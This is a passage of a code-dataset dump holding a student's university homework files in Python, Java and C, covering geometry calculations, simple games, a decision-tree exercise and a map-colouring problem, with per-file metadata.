key=lambda x: x[2], reverse=False)\n result = (valueMax[0][2], valueMin[0][2])\n\n return result\n\n\ndef make_data():\n data = []\n fd = open(\"A.dat\", \"r\")\n fd_data = \"\".join(fd.readlines())\n\n p = re.compile(r\"(\\d+),(\\d+):(\\d+)|(\\d+),(\\d+):(-\\d+)\")\n find = p.findall(fd_data)\n\n for i in find:\n tmp = list(i)\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp = list(map(int, tmp))\n data.append(tmp)\n return data\n\n\nif __name__ == \"__main__\":\n data = make_data()\n\n print(\"maximum value :\", find_value(data)[0])\n print(\"minimum value :\", find_value(data)[1])\n" }, { "alpha_fraction": 0.7106918096542358, "alphanum_fraction": 0.7138364911079407, "avg_line_length": 17.647058486938477, "blob_id": "dfd45c7df1ee91493f6e115384ca838080fb6201", "content_id": "b153ad482b9dc0bf23be3c97f07033336bf37153", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 318, "license_type": "no_license", "max_line_length": 56, "num_lines": 17, "path": "/디자인패턴/report6/AbstractEngine.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\npublic abstract class AbstractEngine implements Engine {\n\tprivate int size;\n\tprivate boolean turbo;\n\t\n\tpublic AbstractEngine(int size, boolean turbo) {\n\t\tthis.size = size;\n\t\tthis.turbo = turbo;\n\t}\n\tpublic int getSize() {\n\t\treturn this.size;\n\t}\n\tpublic boolean isTurbo() {\n\t\treturn this.turbo;\n\t}\n}\n\n" }, { "alpha_fraction": 0.5378061532974243, "alphanum_fraction": 0.5410010814666748, "avg_line_length": 21.90243911743164, "blob_id": "8a8cfb90895f90b64fbaa205a0492e141564cffe", "content_id": "40902334294d59313c6c305e1384fcb463b9820c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1543, "license_type": "no_license", "max_line_length": 60, "num_lines": 41, "path": "/프로그래밍/report1.c", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "// programming homework by sangmin\n\n/*\n\"수 알아 맞추기\" 게임을 컴퓨터에서 할 수 있도록 프로그램을 작성하여라. 이 게임은 다음과 같이 진행된다.\n게임을 하는 사람은 수를 알아 맞추기 위해 수를 추측하여 입력할 수 있다.\n만약 입력된 수가 정답인 수와 일치하면 “맞습니다”라는 메시지를 출력하면서 끝낸다.\n그렇지 않으면, 추측한 수가 정답인 수보다 큰 지 혹은 작은 지를 알려준 후,\n게임하는 사람이 다른 수를 추측하여 입력하게 한다. 이와 같은 과정을 정답인 수를 맞출 때까지 계속한다.\n그리고 시도한 횟수를 함께 출력하여라. 단, 양의 정수만 사용한다.\n*/\n\n#include <stdio.h>\n\nint main() {\n\tint ans, num;\t\t\t\t// 정답인 변수 ans, 입력 변수 num\n\tint count = 1;\t\t\t\t// 시행횟수 결정하는 변수\n\n\tprintf(\"초기값 설정: \");\t// 초기값 입력\n\tscanf_s(\"%d\", &ans);\n\tprintf(\"==================================\\n\");\n\n\tprintf(\"하나의 수를 입력하세요: \");\n\tscanf_s(\"%d\", &num);\n\twhile (1) {\n\t\tif (num < ans) {\t\t// 초기값 < 입력값인 경우\n\t\t\tprintf(\"더 큰 수를 입력하세요: \");\n\t\t\tscanf_s(\"%d\", &num);\n\t\t\tcount++;\n\t\t}\n\t\telse if (num > ans) {\t// 초기값 > 입력값인 경우\n\t\t\tprintf(\"더 작은 수를 입력하세요: \");\n\t\t\tscanf_s(\"%d\", &num);\n\t\t\tcount++;\n\t\t}\n\t\telse // 초기값 = 입력값인 경우\n\t\t\tbreak;\n\t}\n\tprintf(\"맞습니다. 시행횟수는 %d번입니다.\\n\", count);\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7401574850082397, "alphanum_fraction": 0.748031497001648, "avg_line_length": 17.14285659790039, "blob_id": "da9a5f74e2feca21479aefeaa28b4556c7bd83d5", "content_id": "4d7fcd834544df9f5d9503c5c78a40e9ac982d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 127, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/디자인패턴/report6/TurboEngine.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\npublic class TurboEngine extends AbstractEngine {\n\tpublic TurboEngine(int size) {\n\t\tsuper(size, true);\n\t}\n}\n" }, { "alpha_fraction": 0.5328638553619385, "alphanum_fraction": 0.5446009635925293, "avg_line_length": 21.421052932739258, "blob_id": "b2d59df66dc8eecafbc41d110edd91fcc443d904", "content_id": "a3e2f5559d1f0efff2efdc9297488178a2fbeb36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 852, "license_type": "no_license", "max_line_length": 80, "num_lines": 38, "path": "/오픈소스SW활용/Problem/fine_size.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite and test your Python function to find the maximum values of row and column\n\"\"\"\n\nimport re\n\n\ndef find_size(data):\n rowMax = sorted(data, key=lambda x: x[0], reverse=True)\n colMax = sorted(data, key=lambda x: x[1], reverse=True)\n result = (rowMax[0][0]+1, colMax[0][1]+1)\n\n return result\n\n\ndef make_data():\n data = []\n fd = open(\"A.dat\", \"r\")\n fd_data = \"\".join(fd.readlines())\n\n p = re.compile(r\"(\\d+),(\\d+):(\\d+)|(\\d+),(\\d+):(-\\d+)\")\n find = p.findall(fd_data)\n\n for i in find:\n tmp = list(i)\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp = list(map(int, tmp))\n data.append(tmp)\n return data\n\n\nif __name__ == \"__main__\":\n data = make_data()\n\n print(\"maximum value of row :\", find_size(data)[0])\n print(\"maximum value of column :\", find_size(data)[1])\n" }, { "alpha_fraction": 0.5769230723381042, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 26, "blob_id": "b2a361c7545f231c7fd95104a57d09d915d9c925", "content_id": "2a9fdb0a736e1f5fbfb367da8e3477873d94bf94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "no_license", "max_line_length": 82, "num_lines": 27, "path": "/오픈소스SW활용/6. Sets and Dictionaries/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign and implement a function that takes a set of integers as its input argument\nand returns a set of those integers that occur two or more times in the list.\nThe input integers are generated randomly in [1, 20].\n\"\"\"\n\nimport numpy as np\n\nprint('making random 20 number from 1 to 20 ...')\narr = [np.random.randint(1, 21) for _ in range(20)]\nprint('random 20 number :', arr)\ntemp = [0 for _ in range(20)]\n\ndef duplicate(arr):\n for i in range(20):\n for j in range(20):\n if arr[j] - 1 == i:\n temp[i] += 1\n\n result = []\n for i in range(20):\n if temp[i] >= 2:\n result.append(i + 1)\n\n return result\n\nprint('\\nintegers that occur two or more times :', duplicate(arr))" }, { "alpha_fraction": 0.546875, "alphanum_fraction": 0.5625, "avg_line_length": 20.38888931274414, "blob_id": "52fcf7314e142ca12ff1555e8e804477ee436db5", "content_id": "344336eff7a04ee9de49c6a401034ebde7fe3633", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "no_license", "max_line_length": 64, "num_lines": 18, "path": "/오픈소스SW활용/2. Data types and Strings/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nPractice how variables refer to Python objects.\nTest each code line to understand the results of Python objects.\n\"\"\"\n\na = -11\nb = 11\nc = 9.0\nd = b / a\ne = c / a\ns = 'b / a = %g' % (b / a)\n\nprint('a : {}'.format(type(a)))\nprint('b : {}'.format(type(b)))\nprint('c : {}'.format(type(c)))\nprint('d : {}'.format(type(d)))\nprint('e : {}'.format(type(e)))\nprint(\"s : {}\".format(type(s)))" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5422534942626953, "avg_line_length": 19.35714340209961, "blob_id": "fb9924c0f6d2262928f0e971118187b92a60f5d0", "content_id": "633175996cd90e1edb4fc79775422aa231bf95de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 284, "license_type": "no_license", "max_line_length": 54, "num_lines": 14, "path": "/오픈소스SW활용/2. Data types and Strings/problem4.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nCompute the equation.\n\nsinh(x) = 1/2(e^x - e^-x)\n\"\"\"\n\nimport math\n\nx = int(input('input x : '))\nresult1 = round(math.sinh(x), 2)\nresult2 = round(0.5 * (math.exp(x) - math.exp(-x)), 2)\n\nprint('sinh({}) : {}'.format(x, result1))\nprint('1/2(e^{} - e^-{}) : {}'.format(x, x, result2))" }, { "alpha_fraction": 0.39306357502937317, "alphanum_fraction": 0.49132949113845825, "avg_line_length": 25.69230842590332, "blob_id": "76eb8c0b504e54ad32309c7a94ad54be0c66da81", "content_id": "afaa87e5eb22519152bbe843b29f8727fcd973c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 346, "license_type": "no_license", "max_line_length": 82, "num_lines": 13, "path": "/오픈소스SW활용/1. Basic in Python/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWhat are the values of the following expressions, assuming that n = 17 and m = 18?\n\"\"\"\n\nn = 17\nm = 18\n\nprint('n//10 + n%10 :', n//10 + n%10)\nprint('n%2 + m%2 :', n%2 + m%2)\nprint('(m+n)//2 :', (m+n) // 2)\nprint('(m+n)//2.0 :', (m+n) // 2.0)\nprint('int(0.5*(m+n)) :', int(0.5 * (m+n)))\nprint('int(round(0.5*(m+n))) :', int(round(0.5 * (m+n))))" }, { "alpha_fraction": 0.44236311316490173, "alphanum_fraction": 0.4927953779697418, "avg_line_length": 21.419355392456055, "blob_id": "9e5f81de7f88b7e1f9b8fb681831b16b4fb0e12a", "content_id": "258266d1b326c652a201389c1d0e5c04fe672e1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 694, "license_type": "no_license", "max_line_length": 72, "num_lines": 31, "path": "/오픈소스SW활용/5. Loop statements/problem3.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nThere are some data D which are collected from a device.\nD = {(0, 0.5), (1, 2.0), (2, 1.0), (3, 1.5), (4, 7.5)}\nYour task is to write a program that fits a straight line to those data.\n\"\"\"\n\nfrom matplotlib import pyplot as plt\n\nD = [(0, 0.5), (1, 2.0), (2, 1.0), (3, 1.5), (4, 7.5)]\na, b = map(float, input('input a, b : ').split())\n\nx = []\ny = []\ndef compute_error(a, b, y):\n fx = []\n e = 0\n\n for i in range(len(D)):\n x.append(D[i][0])\n y.append(D[i][1])\n fx.append(a*x[i] + b)\n e += (a*x[i] + b - y[i])**2\n\n print('error e :', round(e, 2))\n\n plt.plot(x, y)\n plt.plot(x, fx)\n plt.legend(['D', 'f(x)'])\n plt.show()\n\ncompute_error(a, b, y)" }, { "alpha_fraction": 0.671090841293335, "alphanum_fraction": 0.6827042698860168, "avg_line_length": 38.52458953857422, "blob_id": "72d7b2bf798edb17801c3a29bdb8b92c36197880", "content_id": "430dfd21b1c49d552432214fce1df898eec2b569", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2419, "license_type": "no_license", "max_line_length": 107, "num_lines": 61, "path": "/인공지능/decision_tree.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "# AI homework by sangmin\nfrom sklearn import tree\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nimport pandas as pd\nimport numpy as np\nimport os\n\nreport1 = pd.read_csv(\"C:/Users/sangmin/Desktop/code/DKU_git/인공지능/dstest.csv\")\nX = np.array(pd.DataFrame(report1, columns=['X','y']))\ny = np.array(pd.DataFrame(report1, columns=['C']))\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.8)\n\ndt_clf = DecisionTreeClassifier(criterion='entropy')\ndt_clf = dt_clf.fit(X_train, y_train)\ny_train_pred = dt_clf.predict(X_train)\ny_test_pred = dt_clf.predict(X_test)\ntree_train = accuracy_score(y_train, y_train_pred)\ntree_test = accuracy_score(y_test, y_test_pred)\nprint('[Default] \\t train accuracy %.3f \\n\\t\\t test accuracy %.3f' % (tree_train, tree_test))\nprint('\\n')\n\n# max_depth\nnum = 2;\nfor i in range(5): \n dt_clf = DecisionTreeClassifier(criterion='entropy', max_depth = num)\n dt_clf = dt_clf.fit(X_train, y_train)\n y_train_pred = dt_clf.predict(X_train)\n y_test_pred = dt_clf.predict(X_test)\n tree_train = accuracy_score(y_train, y_train_pred)\n tree_test = accuracy_score(y_test, y_test_pred)\n print('[max_depth=%d] train accuracy %.3f \\n\\t\\t test accuracy %.3f' % (num, tree_train, tree_test))\n num += 1\nprint('\\n')\n\n# min_samples_split\nnum = 250\nfor i in range(10):\n dt_clf = DecisionTreeClassifier(criterion='entropy', min_samples_split = num)\n dt_clf = dt_clf.fit(X_train, y_train)\n y_train_pred = dt_clf.predict(X_train)\n y_test_pred = dt_clf.predict(X_test)\n tree_train = accuracy_score(y_train, y_train_pred)\n tree_test = accuracy_score(y_test, y_test_pred)\n print('[min_split=%d] train accuracy %.3f \\n\\t\\t test accuracy %.3f' % (num, tree_train, tree_test))\n num += 10\nprint('\\n')\n\n# min_samples_leaf\nnum = 10\nfor i in range(10):\n dt_clf = DecisionTreeClassifier(criterion='entropy', min_samples_leaf = num)\n dt_clf = dt_clf.fit(X_train, y_train)\n y_train_pred = dt_clf.predict(X_train)\n y_test_pred = dt_clf.predict(X_test)\n tree_train = accuracy_score(y_train, y_train_pred)\n tree_test = accuracy_score(y_test, y_test_pred)\n print('[min_leaf=%d] train accuracy %.3f \\n\\t\\t test accuracy %.3f' % (num, tree_train, tree_test))\n num += 5\n" }, { "alpha_fraction": 0.7448071241378784, "alphanum_fraction": 0.7626112699508667, "avg_line_length": 21.53333282470703, "blob_id": "2457125206ef92e05ed133b82f040b2bb5d748fc", "content_id": "a074e1a3bf9fab469f452a99f416a25b09beb4ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 337, "license_type": "no_license", "max_line_length": 65, "num_lines": 15, "path": "/디자인패턴/report8/LeatherSeatedVehicle.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.Vehicle;\n\npublic class LeatherSeatedVehicle extends AbstractVehicleOption {\n\tprivate Vehicle vehicle;\n\t\n\tpublic LeatherSeatedVehicle(Vehicle vehicle) {\n\t\tsuper(vehicle.getEngine(), vehicle.getColour());\n\t\tthis.vehicle = vehicle;\n\t}\n\tpublic int getPrice() {\n\t\treturn 1200 + this.vehicle.getPrice();\n\t}\n}" }, { "alpha_fraction": 0.6465721130371094, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 30.296297073364258, "blob_id": "ffb2d58c0b18ac0db4b52b6d132a6620bffce24f", "content_id": "69521747d0d5d2b7ba9277ae3c40159708a4b025", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 846, "license_type": "no_license", "max_line_length": 108, "num_lines": 27, "path": "/오픈소스SW활용/5. Loop statements/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nConsider some game where each participant draws a series of random integers evenly distributed from 0 to 10,\nwith the aim of getting the sum as close as possible to 21, but not larger than 21.\nYou are out of the game if the sum passes 21.\nAfter each draw, you are told the number and is asked whether you want another draw or not.\nThe one coming closest to 21 is the winner. Implement this game.\n\"\"\"\n\nimport numpy as np\n\nsum = 0\nwhile True:\n rand = np.random.randint(0, 11)\n sum += rand\n\n if sum > 21:\n print('\\nOops.. computer wins the game, your total number is', sum)\n break\n\n print('your number is', rand, 'and total is', sum)\n answer = input('if you draw more card ? (yes/no) ')\n\n if answer == 'yes':\n continue\n else:\n print('\\nCongratulation ! your total number is', sum)\n break\n\n" }, { "alpha_fraction": 0.4884488582611084, "alphanum_fraction": 0.5115511417388916, "avg_line_length": 26.071428298950195, "blob_id": "3763de0b3b4920f48f8c539550047d5f5e9c28ce", "content_id": "b5c1f1dbf189bd8d5279192959c63f081fd284a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1515, "license_type": "no_license", "max_line_length": 89, "num_lines": 56, "path": "/오픈소스SW활용/3. Modules and Objects/dimensional.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import math\n\nclass sphere:\n def __init__(self, r):\n self.r = r\n def surface(self):\n return round(4 * math.pi * self.r**2, 2)\n def volume(self):\n return round(4 * math.pi * self.r**3 / 3, 2)\n\nclass rectangular_box:\n def __init__(self, a, b, c):\n self.a = a\n self.b = b\n self.c = c\n def area(self):\n return round(2*self.a*self.b + 2*self.a*self.c + 2*self.b*self.c, 2)\n def volume(self):\n return round(self.a * self.b * self.c, 2)\n\nclass circular_cone:\n def __init__(self, r, h, s):\n self.r = r\n self.h = h\n self.s = s\n def area(self):\n return round(math.pi * self.r**2 + math.pi * self.r * self.s, 2)\n def surface(self):\n return round(math.sqrt(self.r**2 + self.h**2), 2)\n def volume(self):\n return round(1/3 * math.pi * self.r**2 * self.h, 2)\n\nclass cube:\n def __init__(self, l):\n self.l = l\n def area(self):\n return round(6 * self.l**2, 2)\n def volume(self):\n return round(self.l**3, 2)\n\nclass cylinder:\n def __init__(self, r, h):\n self.r = r\n self.h = h\n def area(self):\n return round(2 * math.pi * self.r * (self.r + self.h), 2)\n def volume(self):\n return round(math.pi * self.r**2 * self.h, 2)\n\nclass frustum_cone:\n def __init__(self, r, h, R):\n self.r = r\n self.h = h\n self.R = R\n def volume(self):\n return round(1/3 * math.pi * self.h * (self.r**2 + self.r*self.R + self.R**2), 2)" }, { "alpha_fraction": 0.536649763584137, "alphanum_fraction": 0.5417258739471436, "avg_line_length": 36.31060791015625, "blob_id": "16ba588d976ce88d6dc39f6ce5f6b22ad3a33fa7", "content_id": "08e38b7fd8a8147c399bc38232903181eb574855", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4925, "license_type": "no_license", "max_line_length": 79, "num_lines": 132, "path": "/오픈소스SW활용/Problem/problem4.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nBased on object-oriented programming,\ndesign and implement each class for geometry objects on the next page.\n\"\"\"\n\nimport geometry as geo\n\nprint('''\n========== Geometry Calculation ===================\n=== < shape > ========== < type > =================\n=== square ============= parameter / area =========\n=== rectangle ========== parameter / area =========\n=== circle ============= parameter / area =========\n=== triangle =========== parameter / area =========\n=== parallelogram ====== parameter / area =========\n=== circularSector ===== length / area ============\n=== pythagorean ======== theorem ==================\n=== circularRing ======= area =====================\n=== sphere ============= surface / volume =========\n=== trapezoid ========== parameter / area =========\n=== rectangularBox ===== area / volume ============\n=== cube =============== area / volume ============\n=== cylinder =========== area / volume ============\n=== rightCircularCone == area / surface / volume ==\n=== frustumCone ======== volume ===================\n''')\n\nshape, type = map(str, input('input shape and type : ').split())\n\nif shape == \"square\":\n s = int(input('input s(side) : '))\n if type == \"parameter\":\n answer = geo.SQUARE(shape, type).square(s)[0]\n elif type == \"area\":\n answer = geo.SQUARE(shape, type).square(s)[1]\n\nelif shape == \"rectangle\":\n a, b = map(int, input('input a(width), b(height) : ').split())\n if type == \"parameter\":\n answer = geo.SQUARE(shape, type).rectangle(a, b)[0]\n elif type == \"area\":\n answer = geo.SQUARE(shape, type).rectangle(a, b)[1]\n\nelif shape == \"parallelogram\":\n a, b, h = map(int, input('input a, b, h(height) : ').split())\n if type == \"parameter\":\n answer = geo.SQUARE(shape, type).parallelogram(a, b, h)[0]\n elif type == \"area\":\n answer = geo.SQUARE(shape, type).parallelogram(a, b, h)[1]\n\nelif shape == \"trapezoid\":\n a, b, c, d, h = map(int, input('input a, b, c, d, h(height) : ').split())\n if type == \"parameter\":\n answer = geo.SQUARE(shape, type).trapezoid(a, b, c, d, h)[0]\n elif type == \"area\":\n answer = geo.SQUARE(shape, type).trapezoid(a, b, c, d, h)[1]\n\nelif shape == \"rectangularBox\":\n a, b, c = map(int, input('input a, b, c : ').split())\n if type == \"area\":\n answer = geo.SQUARE(shape, type).rectangularBox(a, b, c)[0]\n elif type == \"volume\":\n answer = geo.SQUARE(shape, type).rectangularBox(a, b, c)[1]\n\nelif shape == \"cube\":\n l = int(input('input l(length) : '))\n if type == \"area\":\n answer = geo.SQUARE(shape, type).cube(l)[0]\n elif type == \"volume\":\n answer = geo.SQUARE(shape, type).cube(l)[1]\n\nelif shape == \"circle\":\n r = int(input('input r(radius) : '))\n if type == \"parameter\":\n answer = geo.CIRCLE(shape, type).circle(r)[0]\n elif type == \"area\":\n answer = geo.CIRCLE(shape, type).circle(r)[1]\n\nelif shape == \"circularSector\":\n r, seta = map(int, input('input r, seta : ').split())\n if type == \"length\":\n answer = geo.CIRCLE(shape, type).circularSector(r, seta)[0]\n elif type == \"area\":\n answer = geo.CIRCLE(shape, type).circularSector(r, seta)[1]\n\nelif shape == \"circularRing\":\n r, R = map(int, input('input r(inner), R(outer) : ').split())\n if type == \"area\":\n answer = geo.CIRCLE(shape, type).circularRing(r, R)\n\nelif shape == \"sphere\":\n r = int(input('input r : '))\n if type == \"surface\":\n answer = geo.CIRCLE(shape, type).sphere(r)[0]\n elif type == \"volume\":\n answer = geo.CIRCLE(shape, type).sphere(r)[1]\n\nelif shape == \"cylinder\":\n r, h = map(int, input('input r, h(height) : ').split())\n if type == \"area\":\n answer = geo.CIRCLE(shape, type).cylinder(r, h)[0]\n elif type == \"volume\":\n answer = geo.CIRCLE(shape, type).cylinder(r, h)[1]\n\nelif shape == \"triangle\":\n a, b, c, h = map(int, input('input a, b, c, h(height) : ').split())\n if type == \"parameter\":\n answer = geo.TRIANGLE(shape, type).triangle(a, b, c, h)[0]\n elif type == \"area\":\n answer = geo.TRIANGLE(shape, type).triangle(a, b, c, h)[1]\n\nelif shape == \"pythagorean\":\n a, b = map(int, input('input a, b : ').split())\n if type == \"theorem\":\n answer = geo.TRIANGLE(shape, type).pythagorean(a, b)\n\nelif shape == \"rightCircularCone\":\n r, h, s = map(int, input('input r, h(height), s(slant height) : ').split())\n if type == \"area\":\n answer = geo.TRIANGLE(shape, type).rightCircularCone(r, h, s)[0]\n elif type == \"surface\":\n answer = geo.TRIANGLE(shape, type).rightCircularCone(r, h, s)[1]\n elif type == \"volume\":\n answer = geo.TRIANGLE(shape, type).rightCircularCone(r, h, s)[2]\n\nelif shape == \"frustumCone\":\n r, h, R = map(int, input('input r(small), h, R(large) : ').split())\n if type == \"volume\":\n answer = geo.TRIANGLE(shape, type).frustumCone(r, h, R)\n\n\nprint('the result is', answer)\n" }, { "alpha_fraction": 0.5743706822395325, "alphanum_fraction": 0.6109839677810669, "avg_line_length": 24.764705657958984, "blob_id": "f9c9661f22f52c93e2ad2cb07bca9faec31e20f9", "content_id": "01a6a2fb528ffe6c095873b3c05a1512eec89dab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 438, "license_type": "no_license", "max_line_length": 96, "num_lines": 17, "path": "/오픈소스SW활용/2. Data types and Strings/problem5.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nThrow a ball with velocity v0, at an angle θ with the horizontal, from the point(x = 0; y = y0).\nThe trajectory of the all is a parabola. We neglect air resistance.\n\"\"\"\n\nimport math\n\nv0 = float(input('input velocity : '))\nseta = int(input('input angle : '))\ny0 = int(input('input y0 : '))\nx = int(input('input x : '))\n\ng = 9.81\n\ny = x*math.tan(seta) - (g*pow(x, 2)) / (2*pow(v0, 2)*pow(math.cos(seta), 2)) + y0\n\nprint('y : %.2f' % y)" }, { "alpha_fraction": 0.5721649527549744, "alphanum_fraction": 0.5721649527549744, "avg_line_length": 22.515151977539062, "blob_id": "e0fb276638ec87ec83b9ee4ed55b0f2a2bcbc981", "content_id": "f63789bd27caf267aca060515f955cd43c99affc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 100, "num_lines": 33, "path": "/오픈소스SW활용/Problem/problem7.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign and implement a class Letter for authoring a simple letter.\n\"\"\"\n\n\nclass Letter:\n def __init__(self, letterfrom, letterto):\n self.letterfrom = letterfrom\n self.letterto = letterto\n self.text = \"\"\n\n def addLine(self, line):\n self.text = self.text + line + '\\n'\n\n def get_text(self):\n return \"Dear {}: \\n\\n{}\\nSincerely,\\n\\n{}\".format(self.letterto, self.text, self.letterfrom)\n\n\nif __name__=='__main__':\n letterfrom = input(\"From : \")\n letterto = input(\"To : \")\n letter = Letter(letterfrom, letterto)\n start = input('Text (endpoint is .) : ')\n letter.addLine(start)\n\n while True:\n text = input()\n letter.addLine(text)\n\n if text == '.':\n break\n\n print(letter.get_text())\n" }, { "alpha_fraction": 0.5323653817176819, "alphanum_fraction": 0.5378100275993347, "avg_line_length": 35.75555419921875, "blob_id": "da4d3e3936c416a4b730b68036dcebd95d534d5d", "content_id": "ad4d084b92fdf4d7b98da399ca7937fd244ee788", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1919, "license_type": "no_license", "max_line_length": 86, "num_lines": 45, "path": "/인공지능/min_color.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "# AI homework by sangmin\nfrom simpleai.search import CspProblem, backtrack\n\ndef constraint_func(names, values):\n return values[0] != values[1]\n\nif __name__ == '__main__':\n names = ('인천', '경기', '강원', '경북', '울산', '충북', '전북', '대구',\n '충남', '대전', '경남', '부산', '광주', '전남', '독도', '제주도')\n colors = dict((name, list(i for i in range(1, len(names) + 1))) for name in names)\n\nconstraints = [\n(('인천', '경기'), constraint_func), (('경기', '강원'), constraint_func),\n(('경기', '충북'), constraint_func), (('경기', '충남'), constraint_func),\n(('강원', '충북'), constraint_func), (('강원', '경북'), constraint_func), \n(('경북', '충북'), constraint_func), (('경북', '전북'), constraint_func),\n(('경북', '대구'), constraint_func), (('경북', '울산'), constraint_func),\n(('경북', '경남'), constraint_func), (('울산', '경남'), constraint_func),\n(('울산', '부산'), constraint_func), (('충북', '충남'), constraint_func),\n(('충북', '대전'), constraint_func), (('충북', '전북'), constraint_func),\n(('부산', '경남'), constraint_func), (('경남', '대구'), constraint_func),\n(('경남', '전북'), constraint_func), (('경남', '전남'), constraint_func),\n(('경남', '전남'), constraint_func), (('전남', '광주'), constraint_func),\n(('전남', '전북'), constraint_func), (('전북', '충남'),constraint_func),\n(('충남', '대전'), constraint_func)\n]\n\nproblem = CspProblem(names, colors, constraints)\n\noutput = backtrack(problem)\nprint('<< Color mapping >>\\n')\nmin_color = 0\nfor k, v in output.items():\n if v == 1:\n print(k, '==> red')\n elif v == 2:\n print(k, '==> green')\n elif v == 3:\n print(k, '==> blue')\n elif v == 4:\n print(k, '==> black')\n \n if min_color < v:\n min_color = v\nprint('\\nNumber of Color:', min_color)" }, { "alpha_fraction": 0.5553145408630371, "alphanum_fraction": 0.5683296918869019, "avg_line_length": 17.479999542236328, "blob_id": "f51e5dd5c764337fc92dee111e5cd1cb74d01275", "content_id": "ea22740445a554a2ebd9326304dec8e9fbf8238c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 709, "license_type": "no_license", "max_line_length": 45, "num_lines": 25, "path": "/프로그래밍/report3-1.c", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "// programming homework by sangmin\n\n/*\n문자 배열을 입력받아 문자열의 길이를 구해서 출력하는 프로그램을 작성하시오. \n단, 문자열의 길이를 구할 때 문자 배열의 원소를 가리키는 포인터를 이용하시오. \n(주의사항: 라이브러리 함수인 strlen 함수를 이용하지 말고 구현하시오.)\n*/\n\n#include <stdio.h>\n\nint main() {\n\tchar str[100];\n\tchar* p = NULL;\t\t\t\t\t// 널 포인터\n\tint count = 0;\n\n\tprintf(\"===== 문자열 길이 출력 프로그램 =====\\n\");\n\tprintf(\"문자열 입력: \");\n\tgets(str);\t\t\t\t\t\t\n\n\tfor (p = str; *p; p++)\t\t\t// *p != '\\0' 동안 반복\n\t\tcount++;\n\tprintf(\"입력한 문자열의 길이: %d\\n\", count);\n\n\treturn 0;\n}" }, { "alpha_fraction": 0.4794238805770874, "alphanum_fraction": 0.508230447769165, "avg_line_length": 19.70212745666504, "blob_id": "2a599577441adc23e5b06fa5821dd49818b11532", "content_id": "c653b9b9e7c3daccafb28b3a4184d7ad437c6d41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1186, "license_type": "no_license", "max_line_length": 78, "num_lines": 47, "path": "/프로그래밍/report3-2.c", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UHC", "text": "// programming homework by sangmin\n\n/*\n아래의 구조체를 사용하여 5개 좌표값을 갖는 배열을 선언하고, 5개의 좌표값을 읽어 들여라. \n그리고 5개의 좌표값에 대해 서로 서로의 거리를 계산하여 가장 가까운 두 좌표값과 그 거리를 출력하라.\n\tstruct point {\n\t int x, y;\n\t};\n*/\n\n#include <stdio.h>\n#include <math.h>\n\nstruct point {\n\tint x, y;\n};\n\nint main() {\n\tstruct point arr[5];\n\tdouble dist, min;\n\tint index1, index2;\n\n\tfor 